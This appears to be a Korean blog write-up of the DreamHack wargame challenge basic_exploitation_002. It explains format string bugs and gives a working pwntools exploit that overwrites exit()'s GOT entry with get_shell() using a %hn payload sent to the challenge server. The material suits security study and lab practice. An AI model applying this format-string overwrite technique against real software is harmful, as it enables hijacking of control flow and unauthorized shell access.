포맷 스트링 버그 개요
-C언어에는 scanf, fprintf, fscanf, sprintf, sscanf 등.. 이외에도 많은 포맷 스트링을 인자로 사용하는 함수들이 있다.
-이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 그러나, 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다. 그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.
-심지어는 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.
소스코드
아키텍처 및 보호기법
설계
개요: PIE가 적용돼있지 않으므로 바이너리는 항상 일정한 메모리 주소에 적재될 것이다. 또한 소스코드의 "printf(buf)"에서 포맷스트링 버그가 일어날 수 있음을 이용하여 exit() GOT를 get_shell()의 주소로 overwrite한다.
1st. 특정한 값과 포맷스트링을 이용하여 내가 원하는 위치의 인자가 몇 번째인지 알아낸다.
2nd. read 함수를 이용하여 내가 원하는 위치에 get_shell()의 주소와 overwrite 시킬 exit() GOT의 주소를 넣는다.
3rd. printf 함수를 통해 %n을 인자로 이용하여 exit() GOT를 get_shell()의 주소로 overwrite 한다.
exploit
첫 번째 인자부터 esp의 값을 출력해주는 것을 알 수 있다. 그렇다면 두 번째 인자는 [esp+4], 세 번째 인자는 [esp+8], n번째 인자는 [esp+4(n-1)]일 것이다.
해당 바이너리(basic_exploitation_002)의 스택 구조는 다음과 같다. 이 바이너리의 스택 구조 파악은 아주 간단하니 디버거를 통해 직접 해보기 바란다.
#exit() GOT 주소 구하기
from pwn import *
e = ELF('./basic_exploitation_002')
context.arch = "i386"
exit_got = e.got['exit']
print("exit() GOT:", hex(exit_got))
get_shell()의 주소인 0x8048609 == 134,514,185로 이걸 %134514185c을 인자로 주기엔 값이 너무 크니, get_shell()의 주소를 2바이트씩 끊어서 overwrite 해주도록 하자.
0x0804 == 2052
0x8609 == 34313
[exploit(basic_exploitation_002.py)]
from pwn import *
p = remote('host3.dreamhack.games', 14690)
e = ELF('./basic_exploitation_002')
context.arch = "i386"
exit_got = e.got['exit']
get_shell = 0x8048609
payload = b"%2052c" + b"%8$hn" + b"%32261c" + b"%7$hn" + b"a" + p32(exit_got) + p32(exit_got+2)
p.sendline(payload)
p.interactive()
#%n == 4byte 입력, %hn == 2byte 입력, %hhn == 1byte 입력
#%7$ == [esp+24] == exit_got, %8$ == [esp+28] == exit_got+2
#앞에서 2052만큼을 출력했으니, 두번째 %c 인자로는 34313(0x8609)-2052(0x0804)를 해줘야한다
'DreamHack: System Hacking > F Stage 10' 카테고리의 다른 글
basic_exploitation_003 (0) | 2023.07.12 |
---|